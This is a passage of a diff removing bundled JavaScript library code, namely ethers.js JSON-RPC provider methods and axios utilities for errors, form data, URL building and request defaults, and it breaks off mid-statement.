- if (chainId != null) { - const getNetwork22 = getStatic(this.constructor, "getNetwork"); - try { - return getNetwork22(BigNumber.from(chainId).toNumber()); - } catch (error) { - return logger18.throwError("could not detect network", Logger.errors.NETWORK_ERROR, { - chainId, - event: "invalidNetwork", - serverError: error - }); - } - } - return logger18.throwError("could not detect network", Logger.errors.NETWORK_ERROR, { - event: "noNetwork" - }); - }); - } - getSigner(addressOrIndex) { - return new JsonRpcSigner(_constructorGuard2, this, addressOrIndex); - } - getUncheckedSigner(addressOrIndex) { - return this.getSigner(addressOrIndex).connectUnchecked(); - } - listAccounts() { - return this.send("eth_accounts", []).then((accounts) => { - return accounts.map((a) => this.formatter.address(a)); - }); - } - send(method, params) { - const request = { - method, - params, - id: this._nextId++, - jsonrpc: "2.0" - }; - this.emit("debug", { - action: "request", - request: deepCopy(request), - provider: this - }); - const cache = ["eth_chainId", "eth_blockNumber"].indexOf(method) >= 0; - if (cache && this._cache[method]) { - return this._cache[method]; - } - const result = fetchJson(this.connection, JSON.stringify(request), getResult).then((result2) => { - this.emit("debug", { - action: "response", - request, - response: result2, - provider: this - }); - return result2; - }, (error) => { - this.emit("debug", { - action: "response", - error, - request, - provider: this - }); - throw error; - }); - if (cache) { - this._cache[method] = result; - setTimeout(() => { - this._cache[method] = null; - }, 0); - } - return result; - } - prepareRequest(method, params) { - switch (method) { - case "getBlockNumber": - return ["eth_blockNumber", []]; - case "getGasPrice": - return ["eth_gasPrice", []]; - case "getBalance": - return ["eth_getBalance", [getLowerCase(params.address), params.blockTag]]; - case "getTransactionCount": - return ["eth_getTransactionCount", [getLowerCase(params.address), params.blockTag]]; - case "getCode": - return ["eth_getCode", [getLowerCase(params.address), params.blockTag]]; - case "getStorageAt": - return ["eth_getStorageAt", [getLowerCase(params.address), hexZeroPad(params.position, 32), params.blockTag]]; - case "sendTransaction": - return ["eth_sendRawTransaction", [params.signedTransaction]]; - case "getBlock": - if (params.blockTag) { - return ["eth_getBlockByNumber", [params.blockTag, !!params.includeTransactions]]; - } else if (params.blockHash) { - return ["eth_getBlockByHash", [params.blockHash, !!params.includeTransactions]]; - } - return null; - case "getTransaction": - return ["eth_getTransactionByHash", [params.transactionHash]]; - case "getTransactionReceipt": - return ["eth_getTransactionReceipt", [params.transactionHash]]; - case "call": { - const hexlifyTransaction = getStatic(this.constructor, "hexlifyTransaction"); - return ["eth_call", [hexlifyTransaction(params.transaction, { from: true }), params.blockTag]]; - } - case "estimateGas": { - const hexlifyTransaction = getStatic(this.constructor, "hexlifyTransaction"); - return ["eth_estimateGas", [hexlifyTransaction(params.transaction, { from: true })]]; - } - case "getLogs": - if (params.filter && params.filter.address != null) { - params.filter.address = getLowerCase(params.filter.address); - } - return ["eth_getLogs", [params.filter]]; - default: - break; - } - return null; - } - perform(method, params) { - return __awaiter8(this, void 0, void 0, function* () { - if (method === "call" || method === "estimateGas") { - const tx = params.transaction; - if (tx && tx.type != null && BigNumber.from(tx.type).isZero()) { - if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) { - const feeData = yield this.getFeeData(); - if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) { - params = shallowCopy(params); - params.transaction = shallowCopy(tx); - delete params.transaction.type; - } - } - } - } - const args = this.prepareRequest(method, params); - if (args == null) { - logger18.throwError(method + " not implemented", Logger.errors.NOT_IMPLEMENTED, { operation: method }); - } - try { - return yield this.send(args[0], args[1]); - } catch (error) { - return checkError(method, error, params); - } - }); - } - _startEvent(event) { - if (event.tag === "pending") { - this._startPending(); - } - super._startEvent(event); - } - _startPending() { - if (this._pendingFilter != null) { - return; - } - const self2 = this; - const pendingFilter = this.send("eth_newPendingTransactionFilter", []); - this._pendingFilter = pendingFilter; - pendingFilter.then(function(filterId) { - function poll22() { - self2.send("eth_getFilterChanges", [filterId]).then(function(hashes) { - if (self2._pendingFilter != pendingFilter) { - return null; - } - let seq = Promise.resolve(); - hashes.forEach(function(hash3) { - self2._emitted["t:" + hash3.toLowerCase()] = "pending"; - seq = seq.then(function() { - return self2.getTransaction(hash3).then(function(tx) { - self2.emit("pending", tx); - return null; - }); - }); - }); - return seq.then(function() { - return timer(1e3); - }); - }).then(function() { - if (self2._pendingFilter != pendingFilter) { - self2.send("eth_uninstallFilter", [filterId]); - return; - } - setTimeout(function() { - poll22(); - }, 0); - return null; - }).catch((error) => { - }); - } - poll22(); - return filterId; - }).catch((error) => { - }); - } - _stopEvent(event) { - if (event.tag === "pending" && this.listenerCount("pending") === 0) { - this._pendingFilter = null; - } - super._stopEvent(event); - } - // Convert an ethers.js transaction into a JSON-RPC transaction - // - gasLimit => gas - // - All values hexlified - // - All numeric values zero-striped - // - All addresses are lowercased - // NOTE: This allows a TransactionRequest, but all values should be resolved - // before this is called - // @TODO: This will likely be removed in future versions and prepareRequest - // will be the preferred method for this. - static hexlifyTransaction(transaction, allowExtra) { - const allowed = shallowCopy(allowedTransactionKeys2); - if (allowExtra) { - for (const key22 in allowExtra) { - if (allowExtra[key22]) { - allowed[key22] = true; - } - } - } - checkProperties(transaction, allowed); - const result = {}; - ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach(function(key22) { - if (transaction[key22] == null) { - return; - } - const value = hexValue(BigNumber.from(transaction[key22])); - if (key22 === "gasLimit") { - key22 = "gas"; - } - result[key22] = value; - }); - ["from", "to", "data"].forEach(function(key22) { - if (transaction[key22] == null) { - return; - } - result[key22] = hexlify(transaction[key22]); - }); - if (transaction.accessList) { - result["accessList"] = accessListify(transaction.accessList); - } - return result; - } - }; - var logger19 = new Logger(version13); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - function bind(fn, thisArg) { - return function wrap() { - return fn.apply(thisArg, arguments); - }; - } - var { toString } = Object.prototype; - var { getPrototypeOf } = Object; - var kindOf = /* @__PURE__ */ ((cache) => (thing) => { - const str = toString.call(thing); - return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase()); - })(/* @__PURE__ */ Object.create(null)); - var kindOfTest = (type) => { - type = type.toLowerCase(); - return (thing) => kindOf(thing) === type; - }; - var typeOfTest = (type) => (thing) => typeof thing === type; - var { isArray } = Array; - var isUndefined = typeOfTest("undefined"); - function isBuffer(val) { - return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor) && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val); - } - var isArrayBuffer = kindOfTest("ArrayBuffer"); - function isArrayBufferView(val) { - let result; - if (typeof ArrayBuffer !== "undefined" && ArrayBuffer.isView) { - result = ArrayBuffer.isView(val); - } else { - result = val && val.buffer && isArrayBuffer(val.buffer); - } - return result; - } - var isString = typeOfTest("string"); - var isFunction = typeOfTest("function"); - var isNumber = typeOfTest("number"); - var isObject = (thing) => thing !== null && typeof thing === "object"; - var isBoolean = (thing) => thing === true || thing === false; - var isPlainObject = (val) => { - if (kindOf(val) !== "object") { - return false; - } - const prototype3 = getPrototypeOf(val); - return (prototype3 === null || prototype3 === Object.prototype || Object.getPrototypeOf(prototype3) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val); - }; - var isDate = kindOfTest("Date"); - var isFile = kindOfTest("File"); - var isBlob = kindOfTest("Blob"); - var isFileList = kindOfTest("FileList"); - var isStream = (val) => isObject(val) && isFunction(val.pipe); - var isFormData = (thing) => { - let kind; - return thing && (typeof FormData === "function" && thing instanceof FormData || isFunction(thing.append) && ((kind = kindOf(thing)) === "formdata" || // detect form-data instance - kind === "object" && isFunction(thing.toString) && thing.toString() === "[object FormData]")); - }; - var isURLSearchParams = kindOfTest("URLSearchParams"); - var [isReadableStream, isRequest, isResponse, isHeaders] = ["ReadableStream", "Request", "Response", "Headers"].map(kindOfTest); - var trim = (str) => str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ""); - function forEach(obj, fn, { allOwnKeys = false } = {}) { - if (obj === null || typeof obj === "undefined") { - return; - } - let i; - let l; - if (typeof obj !== "object") { - obj = [obj]; - } - if (isArray(obj)) { - for (i = 0, l = obj.length; i < l; i++) { - fn.call(null, obj[i], i, obj); - } - } else { - const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj); - const len = keys.length; - let key22; - for (i = 0; i < len; i++) { - key22 = keys[i]; - fn.call(null, obj[key22], key22, obj); - } - } - } - function findKey(obj, key22) { - key22 = key22.toLowerCase(); - const keys = Object.keys(obj); - let i = keys.length; - let _key; - while (i-- > 0) { - _key = keys[i]; - if (key22 === _key.toLowerCase()) { - return _key; - } - } - return null; - } - var _global = (() => { - if (typeof globalThis !== "undefined") - return globalThis; - return typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : global; - })(); - var isContextDefined = (context) => !isUndefined(context) && context !== _global; - function merge() { - const { caseless } = isContextDefined(this) && this || {}; - const result = {}; - const assignValue = (val, key22) => { - const targetKey = caseless && findKey(result, key22) || key22; - if (isPlainObject(result[targetKey]) && isPlainObject(val)) { - result[targetKey] = merge(result[targetKey], val); - } else if (isPlainObject(val)) { - result[targetKey] = merge({}, val); - } else if (isArray(val)) { - result[targetKey] = val.slice(); - } else { - result[targetKey] = val; - } - }; - for (let i = 0, l = arguments.length; i < l; i++) { - arguments[i] && forEach(arguments[i], assignValue); - } - return result; - } - var extend = (a, b, thisArg, { allOwnKeys } = {}) => { - forEach(b, (val, key22) => { - if (thisArg && isFunction(val)) { - a[key22] = bind(val, thisArg); - } else { - a[key22] = val; - } - }, { allOwnKeys }); - return a; - }; - var stripBOM = (content) => { - if (content.charCodeAt(0) === 65279) { - content = content.slice(1); - } - return content; - }; - var inherits = (constructor, superConstructor, props, descriptors2) => { - constructor.prototype = Object.create(superConstructor.prototype, descriptors2); - constructor.prototype.constructor = constructor; - Object.defineProperty(constructor, "super", { - value: superConstructor.prototype - }); - props && Object.assign(constructor.prototype, props); - }; - var toFlatObject = (sourceObj, destObj, filter2, propFilter) => { - let props; - let i; - let prop; - const merged = {}; - destObj = destObj || {}; - if (sourceObj == null) - return destObj; - do { - props = Object.getOwnPropertyNames(sourceObj); - i = props.length; - while (i-- > 0) { - prop = props[i]; - if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) { - destObj[prop] = sourceObj[prop]; - merged[prop] = true; - } - } - sourceObj = filter2 !== false && getPrototypeOf(sourceObj); - } while (sourceObj && (!filter2 || filter2(sourceObj, destObj)) && sourceObj !== Object.prototype); - return destObj; - }; - var endsWith = (str, searchString, position) => { - str = String(str); - if (position === void 0 || position > str.length) { - position = str.length; - } - position -= searchString.length; - const lastIndex = str.indexOf(searchString, position); - return lastIndex !== -1 && lastIndex === position; - }; - var toArray = (thing) => { - if (!thing) - return null; - if (isArray(thing)) - return thing; - let i = thing.length; - if (!isNumber(i)) - return null; - const arr = new Array(i); - while (i-- > 0) { - arr[i] = thing[i]; - } - return arr; - }; - var isTypedArray = /* @__PURE__ */ ((TypedArray) => { - return (thing) => { - return TypedArray && thing instanceof TypedArray; - }; - })(typeof Uint8Array !== "undefined" && getPrototypeOf(Uint8Array)); - var forEachEntry = (obj, fn) => { - const generator = obj && obj[Symbol.iterator]; - const iterator = generator.call(obj); - let result; - while ((result = iterator.next()) && !result.done) { - const pair = result.value; - fn.call(obj, pair[0], pair[1]); - } - }; - var matchAll = (regExp, str) => { - let matches; - const arr = []; - while ((matches = regExp.exec(str)) !== null) { - arr.push(matches); - } - return arr; - }; - var isHTMLForm = kindOfTest("HTMLFormElement"); - var toCamelCase = (str) => { - return str.toLowerCase().replace( - /[-_\s]([a-z\d])(\w*)/g, - function replacer(m, p1, p2) { - return p1.toUpperCase() + p2; - } - ); - }; - var hasOwnProperty = (({ hasOwnProperty: hasOwnProperty2 }) => (obj, prop) => hasOwnProperty2.call(obj, prop))(Object.prototype); - var isRegExp = kindOfTest("RegExp"); - var reduceDescriptors = (obj, reducer) => { - const descriptors2 = Object.getOwnPropertyDescriptors(obj); - const reducedDescriptors = {}; - forEach(descriptors2, (descriptor, name) => { - let ret; - if ((ret = reducer(descriptor, name, obj)) !== false) { - reducedDescriptors[name] = ret || descriptor; - } - }); - Object.defineProperties(obj, reducedDescriptors); - }; - var freezeMethods = (obj) => { - reduceDescriptors(obj, (descriptor, name) => { - if (isFunction(obj) && ["arguments", "caller", "callee"].indexOf(name) !== -1) { - return false; - } - const value = obj[name]; - if (!isFunction(value)) - return; - descriptor.enumerable = false; - if ("writable" in descriptor) { - descriptor.writable = false; - return; - } - if (!descriptor.set) { - descriptor.set = () => { - throw Error("Can not rewrite read-only method '" + name + "'"); - }; - } - }); - }; - var toObjectSet = (arrayOrString, delimiter) => { - const obj = {}; - const define2 = (arr) => { - arr.forEach((value) => { - obj[value] = true; - }); - }; - isArray(arrayOrString) ? define2(arrayOrString) : define2(String(arrayOrString).split(delimiter)); - return obj; - }; - var noop = () => { - }; - var toFiniteNumber = (value, defaultValue) => { - return value != null && Number.isFinite(value = +value) ? value : defaultValue; - }; - var ALPHA = "abcdefghijklmnopqrstuvwxyz"; - var DIGIT = "0123456789"; - var ALPHABET = { - DIGIT, - ALPHA, - ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT - }; - var generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => { - let str = ""; - const { length } = alphabet; - while (size--) { - str += alphabet[Math.random() * length | 0]; - } - return str; - }; - function isSpecCompliantForm(thing) { - return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === "FormData" && thing[Symbol.iterator]); - } - var toJSONObject = (obj) => { - const stack = new Array(10); - const visit = (source, i) => { - if (isObject(source)) { - if (stack.indexOf(source) >= 0) { - return; - } - if (!("toJSON" in source)) { - stack[i] = source; - const target = isArray(source) ? [] : {}; - forEach(source, (value, key22) => { - const reducedValue = visit(value, i + 1); - !isUndefined(reducedValue) && (target[key22] = reducedValue); - }); - stack[i] = void 0; - return target; - } - } - return source; - }; - return visit(obj, 0); - }; - var isAsyncFn = kindOfTest("AsyncFunction"); - var isThenable = (thing) => thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch); - var utils_default = { - isArray, - isArrayBuffer, - isBuffer, - isFormData, - isArrayBufferView, - isString, - isNumber, - isBoolean, - isObject, - isPlainObject, - isReadableStream, - isRequest, - isResponse, - isHeaders, - isUndefined, - isDate, - isFile, - isBlob, - isRegExp, - isFunction, - isStream, - isURLSearchParams, - isTypedArray, - isFileList, - forEach, - merge, - extend, - trim, - stripBOM, - inherits, - toFlatObject, - kindOf, - kindOfTest, - endsWith, - toArray, - forEachEntry, - matchAll, - isHTMLForm, - hasOwnProperty, - hasOwnProp: hasOwnProperty, - // an alias to avoid ESLint no-prototype-builtins detection - reduceDescriptors, - freezeMethods, - toObjectSet, - toCamelCase, - noop, - toFiniteNumber, - findKey, - global: _global, - isContextDefined, - ALPHABET, - generateString, - isSpecCompliantForm, - toJSONObject, - isAsyncFn, - isThenable - }; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - function AxiosError(message, code, config, request, response) { - Error.call(this); - if (Error.captureStackTrace) { - Error.captureStackTrace(this, this.constructor); - } else { - this.stack = new Error().stack; - } - this.message = message; - this.name = "AxiosError"; - code && (this.code = code); - config && (this.config = config); - request && (this.request = request); - response && (this.response = response); - } - utils_default.inherits(AxiosError, Error, { - toJSON: function toJSON2() { - return { - // Standard - message: this.message, - name: this.name, - // Microsoft - description: this.description, - number: this.number, - // Mozilla - fileName: this.fileName, - lineNumber: this.lineNumber, - columnNumber: this.columnNumber, - stack: this.stack, - // Axios - config: utils_default.toJSONObject(this.config), - code: this.code, - status: this.response && this.response.status ? this.response.status : null - }; - } - }); - var prototype = AxiosError.prototype; - var descriptors = {}; - [ - "ERR_BAD_OPTION_VALUE", - "ERR_BAD_OPTION", - "ECONNABORTED", - "ETIMEDOUT", - "ERR_NETWORK", - "ERR_FR_TOO_MANY_REDIRECTS", - "ERR_DEPRECATED", - "ERR_BAD_RESPONSE", - "ERR_BAD_REQUEST", - "ERR_CANCELED", - "ERR_NOT_SUPPORT", - "ERR_INVALID_URL" - // eslint-disable-next-line func-names - ].forEach((code) => { - descriptors[code] = { value: code }; - }); - Object.defineProperties(AxiosError, descriptors); - Object.defineProperty(prototype, "isAxiosError", { value: true }); - AxiosError.from = (error, code, config, request, response, customProps) => { - const axiosError = Object.create(prototype); - utils_default.toFlatObject(error, axiosError, function filter2(obj) { - return obj !== Error.prototype; - }, (prop) => { - return prop !== "isAxiosError"; - }); - AxiosError.call(axiosError, error.message, code, config, request, response); - axiosError.cause = error; - axiosError.name = error.name; - customProps && Object.assign(axiosError, customProps); - return axiosError; - }; - var AxiosError_default = AxiosError; - init_define_chainIDList(); - init_define_extraRpcs(); - var null_default = null; - function isVisitable(thing) { - return utils_default.isPlainObject(thing) || utils_default.isArray(thing); - } - function removeBrackets(key22) { - return utils_default.endsWith(key22, "[]") ? key22.slice(0, -2) : key22; - } - function renderKey(path, key22, dots) { - if (!path) - return key22; - return path.concat(key22).map(function each(token, i) { - token = removeBrackets(token); - return !dots && i ? "[" + token + "]" : token; - }).join(dots ? "." : ""); - } - function isFlatArray(arr) { - return utils_default.isArray(arr) && !arr.some(isVisitable); - } - var predicates = utils_default.toFlatObject(utils_default, {}, null, function filter(prop) { - return /^is[A-Z]/.test(prop); - }); - function toFormData(obj, formData, options) { - if (!utils_default.isObject(obj)) { - throw new TypeError("target must be an object"); - } - formData = formData || new (null_default || FormData)(); - options = utils_default.toFlatObject(options, { - metaTokens: true, - dots: false, - indexes: false - }, false, function defined(option, source) { - return !utils_default.isUndefined(source[option]); - }); - const metaTokens = options.metaTokens; - const visitor = options.visitor || defaultVisitor; - const dots = options.dots; - const indexes = options.indexes; - const _Blob = options.Blob || typeof Blob !== "undefined" && Blob; - const useBlob = _Blob && utils_default.isSpecCompliantForm(formData); - if (!utils_default.isFunction(visitor)) { - throw new TypeError("visitor must be a function"); - } - function convertValue(value) { - if (value === null) - return ""; - if (utils_default.isDate(value)) { - return value.toISOString(); - } - if (!useBlob && utils_default.isBlob(value)) { - throw new AxiosError_default("Blob is not supported. Use a Buffer instead."); - } - if (utils_default.isArrayBuffer(value) || utils_default.isTypedArray(value)) { - return useBlob && typeof Blob === "function" ? new Blob([value]) : Buffer.from(value); - } - return value; - } - function defaultVisitor(value, key22, path) { - let arr = value; - if (value && !path && typeof value === "object") { - if (utils_default.endsWith(key22, "{}")) { - key22 = metaTokens ? key22 : key22.slice(0, -2); - value = JSON.stringify(value); - } else if (utils_default.isArray(value) && isFlatArray(value) || (utils_default.isFileList(value) || utils_default.endsWith(key22, "[]")) && (arr = utils_default.toArray(value))) { - key22 = removeBrackets(key22); - arr.forEach(function each(el, index2) { - !(utils_default.isUndefined(el) || el === null) && formData.append( - // eslint-disable-next-line no-nested-ternary - indexes === true ? renderKey([key22], index2, dots) : indexes === null ? key22 : key22 + "[]", - convertValue(el) - ); - }); - return false; - } - } - if (isVisitable(value)) { - return true; - } - formData.append(renderKey(path, key22, dots), convertValue(value)); - return false; - } - const stack = []; - const exposedHelpers = Object.assign(predicates, { - defaultVisitor, - convertValue, - isVisitable - }); - function build(value, path) { - if (utils_default.isUndefined(value)) - return; - if (stack.indexOf(value) !== -1) { - throw Error("Circular reference detected in " + path.join(".")); - } - stack.push(value); - utils_default.forEach(value, function each(el, key22) { - const result = !(utils_default.isUndefined(el) || el === null) && visitor.call( - formData, - el, - utils_default.isString(key22) ? key22.trim() : key22, - path, - exposedHelpers - ); - if (result === true) { - build(el, path ? path.concat(key22) : [key22]); - } - }); - stack.pop(); - } - if (!utils_default.isObject(obj)) { - throw new TypeError("data must be an object"); - } - build(obj); - return formData; - } - var toFormData_default = toFormData; - function encode4(str) { - const charMap = { - "!": "%21", - "'": "%27", - "(": "%28", - ")": "%29", - "~": "%7E", - "%20": "+", - "%00": "\0" - }; - return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { - return charMap[match]; - }); - } - function AxiosURLSearchParams(params, options) { - this._pairs = []; - params && toFormData_default(params, this, options); - } - var prototype2 = AxiosURLSearchParams.prototype; - prototype2.append = function append(name, value) { - this._pairs.push([name, value]); - }; - prototype2.toString = function toString2(encoder) { - const _encode32 = encoder ? function(value) { - return encoder.call(this, value, encode4); - } : encode4; - return this._pairs.map(function each(pair) { - return _encode32(pair[0]) + "=" + _encode32(pair[1]); - }, "").join("&"); - }; - var AxiosURLSearchParams_default = AxiosURLSearchParams; - function encode5(val) { - return encodeURIComponent(val).replace(/%3A/gi, ":").replace(/%24/g, "$").replace(/%2C/gi, ",").replace(/%20/g, "+").replace(/%5B/gi, "[").replace(/%5D/gi, "]"); - } - function buildURL(url, params, options) { - if (!params) { - return url; - } - const _encode32 = options && options.encode || encode5; - const serializeFn = options && options.serialize; - let serializedParams; - if (serializeFn) { - serializedParams = serializeFn(params, options); - } else { - serializedParams = utils_default.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams_default(params, options).toString(_encode32); - } - if (serializedParams) { - const hashmarkIndex = url.indexOf("#"); - if (hashmarkIndex !== -1) { - url = url.slice(0, hashmarkIndex); - } - url += (url.indexOf("?") === -1 ? "?" : "&") + serializedParams; - } - return url; - } - init_define_chainIDList(); - init_define_extraRpcs(); - var InterceptorManager = class { - constructor() { - this.handlers = []; - } - /** - * Add a new interceptor to the stack - * - * @param {Function} fulfilled The function to handle `then` for a `Promise` - * @param {Function} rejected The function to handle `reject` for a `Promise` - * - * @return {Number} An ID used to remove interceptor later - */ - use(fulfilled, rejected, options) { - this.handlers.push({ - fulfilled, - rejected, - synchronous: options ? options.synchronous : false, - runWhen: options ? options.runWhen : null - }); - return this.handlers.length - 1; - } - /** - * Remove an interceptor from the stack - * - * @param {Number} id The ID that was returned by `use` - * - * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise - */ - eject(id22) { - if (this.handlers[id22]) { - this.handlers[id22] = null; - } - } - /** - * Clear all interceptors from the stack - * - * @returns {void} - */ - clear() { - if (this.handlers) { - this.handlers = []; - } - } - /** - * Iterate over all the registered interceptors - * - * This method is particularly useful for skipping over any - * interceptors that may have become `null` calling `eject`. - * - * @param {Function} fn The function to call for each interceptor - * - * @returns {void} - */ - forEach(fn) { - utils_default.forEach(this.handlers, function forEachHandler(h) { - if (h !== null) { - fn(h); - } - }); - } - }; - var InterceptorManager_default = InterceptorManager; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var transitional_default = { - silentJSONParsing: true, - forcedJSONParsing: true, - clarifyTimeoutError: false - }; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var URLSearchParams_default = typeof URLSearchParams !== "undefined" ? URLSearchParams : AxiosURLSearchParams_default; - init_define_chainIDList(); - init_define_extraRpcs(); - var FormData_default = typeof FormData !== "undefined" ? FormData : null; - init_define_chainIDList(); - init_define_extraRpcs(); - var Blob_default = typeof Blob !== "undefined" ? Blob : null; - var browser_default = { - isBrowser: true, - classes: { - URLSearchParams: URLSearchParams_default, - FormData: FormData_default, - Blob: Blob_default - }, - protocols: ["http", "https", "file", "blob", "url", "data"] - }; - var utils_exports = {}; - __export2(utils_exports, { - hasBrowserEnv: () => hasBrowserEnv, - hasStandardBrowserEnv: () => hasStandardBrowserEnv, - hasStandardBrowserWebWorkerEnv: () => hasStandardBrowserWebWorkerEnv, - origin: () => origin - }); - init_define_chainIDList(); - init_define_extraRpcs(); - var hasBrowserEnv = typeof window !== "undefined" && typeof document !== "undefined"; - var hasStandardBrowserEnv = ((product) => { - return hasBrowserEnv && ["ReactNative", "NativeScript", "NS"].indexOf(product) < 0; - })(typeof navigator !== "undefined" && navigator.product); - var hasStandardBrowserWebWorkerEnv = (() => { - return typeof WorkerGlobalScope !== "undefined" && // eslint-disable-next-line no-undef - self instanceof WorkerGlobalScope && typeof self.importScripts === "function"; - })(); - var origin = hasBrowserEnv && window.location.href || "http://localhost"; - var platform_default = { - ...utils_exports, - ...browser_default - }; - function toURLEncodedForm(data, options) { - return toFormData_default(data, new platform_default.classes.URLSearchParams(), Object.assign({ - visitor: function(value, key22, path, helpers) { - if (platform_default.isNode && utils_default.isBuffer(value)) { - this.append(key22, value.toString("base64")); - return false; - } - return helpers.defaultVisitor.apply(this, arguments); - } - }, options)); - } - init_define_chainIDList(); - init_define_extraRpcs(); - function parsePropPath(name) { - return utils_default.matchAll(/\w+|\[(\w*)]/g, name).map((match) => { - return match[0] === "[]" ? "" : match[1] || match[0]; - }); - } - function arrayToObject(arr) { - const obj = {}; - const keys = Object.keys(arr); - let i; - const len = keys.length; - let key22; - for (i = 0; i < len; i++) { - key22 = keys[i]; - obj[key22] = arr[key22]; - } - return obj; - } - function formDataToJSON(formData) { - function buildPath(path, value, target, index2) { - let name = path[index2++]; - if (name === "__proto__") - return true; - const isNumericKey = Number.isFinite(+name); - const isLast = index2 >= path.length; - name = !name && utils_default.isArray(target) ? target.length : name; - if (isLast) { - if (utils_default.hasOwnProp(target, name)) { - target[name] = [target[name], value]; - } else { - target[name] = value; - } - return !isNumericKey; - } - if (!target[name] || !utils_default.isObject(target[name])) { - target[name] = []; - } - const result = buildPath(path, value, target[name], index2); - if (result && utils_default.isArray(target[name])) { - target[name] = arrayToObject(target[name]); - } - return !isNumericKey; - } - if (utils_default.isFormData(formData) && utils_default.isFunction(formData.entries)) { - const obj = {}; - utils_default.forEachEntry(formData, (name, value) => { - buildPath(parsePropPath(name), value, obj, 0); - }); - return obj; - } - return null; - } - var formDataToJSON_default = formDataToJSON; - function stringifySafely(rawValue, parser, encoder) { - if (utils_default.isString(rawValue)) { - try { - (parser || JSON.parse)(rawValue); - return utils_default.trim(rawValue); - } catch (e) { - if (e.name !== "SyntaxError") { - throw e; - } - } - } - return (encoder || JSON.stringify)(rawValue); - } - var defaults = { - transitional: transitional_default, - adapter: ["xhr", "http", "fetch"], - transformRequest: [function transformRequest(data, headers) { - const contentType = headers.getContentType() || ""; - const hasJSONContentType = contentType.indexOf("application/json") > -1; - const isObjectPayload = utils_default.isObject(data); - if (isObjectPayload && utils_default.isHTMLForm(data)) { - data = new FormData(data); - } - const isFormData2 = utils_default.isFormData(data); - if (isFormData2) { - return hasJSONContentType ? JSON.stringify(formDataToJSON_default(data)) : data; - } - if (utils_default.isArrayBuffer(data) || utils_default.isBuffer(data) || utils_default.isStream(data) || utils_default.isFile(data) || utils_default.isBlob(data) || utils_default.isReadableStream(data)) { - return data; - } - if (utils_default.isArrayBufferView(data)) { - return data.buffer; - } - if (utils_default.isURLSearchParams(data)) { - headers.setContentType("application/x-www-form-urlencoded;charset=utf-8", false); - return data.toString(); - } - let isFileList2; - if (isObjectPayload) { - if (contentType.indexOf("application/x-www-form-urlencoded") > -1) { - return toURLEncodedForm(data, this.formSerializer).toString(); - } - if ((isFileList2 = utils_default.isFileList(data)) || contentType.indexOf("multipart/form-data") > -1) { - const _FormData = this.env && this.env.FormData; - return toFormData_default( - isFileList2 ? { "files[]": data } : data, - _FormData && new _FormData(), - this.formSerializer - ); - } - } - if (isObjectPayload || hasJSONContentType) { - headers.setContentType("application/json", false); - return stringifySafely(data); - } - return data; - }], - transformResponse: [function transformResponse(data) { - const transitional2 = this.transitional || defaults.transitional; - const forcedJSONParsing = transitional2 && transitional2.forcedJSONParsing; - const JSONRequested = this.responseType === "json"; - if (utils_default.isResponse(data) || utils_default.isReadableStream(data)) { - return data; - } - if (data && utils_default.isString(data) && (forcedJSONParsing && !this.responseType || JSONRequested)) { - const silentJSONParsing = transitional2 && transitional2.silentJSONParsing; - const strictJSONParsing = !silentJSONParsing && JSONRequested; - try { - return JSON.parse(data); - } catch (e) { - if (strictJSONParsing) { - if (e.name === "SyntaxError") { - throw AxiosError_default.from(e, AxiosError_default.ERR_BAD_RESPONSE, this, null, this.response); - } - throw e; - } - } - } - return data; - }], - /** - * A timeout in milliseconds to abort a request. If set to 0 (default) a - * timeout is not created. - */ - timeout: 0, - xsrfCookieName: "XSRF-TOKEN", - xsrfHeaderName: "X-XSRF-TOKEN", - maxContentLength: -1, - maxBodyLength: -1, - env: { - FormData: platform_default.classes.FormData, - Blob: platform_default.classes.Blob - }, - validateStatus: function validateStatus(status) { - return status >= 200 && status < 300; - }, - headers: { - common: { - "Accept": "application/json, text/plain, */*", - "Content-Type": void 0 - } - } - }; - utils_default.forEach(["delete", "get", "head", "post", "put", "patch"], (method) => { - defaults.headers[method] = {}; - }); - var defaults_default = defaults; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var ignoreDuplicateOf = utils_default.toObjectSet([ - "age", - "authorization", - "content-length", - "content-type", - "etag", - "expires", - "from", - "host", - "if-modified-since", - "if-unmodified-since", - "last-modified", - "location", - "max-forwards", - "proxy-authorization", - "referer", - "retry-after", - "user-agent" - ]); - var parseHeaders_default = (rawHeaders) => { - const parsed = {}; - let key22; - let val; - let i; - rawHeaders && rawHeaders.split("\n").forEach(function parser(line) { - i = line.indexOf(":"); - key22 = line.substring(0, i).trim().toLowerCase(); - val = 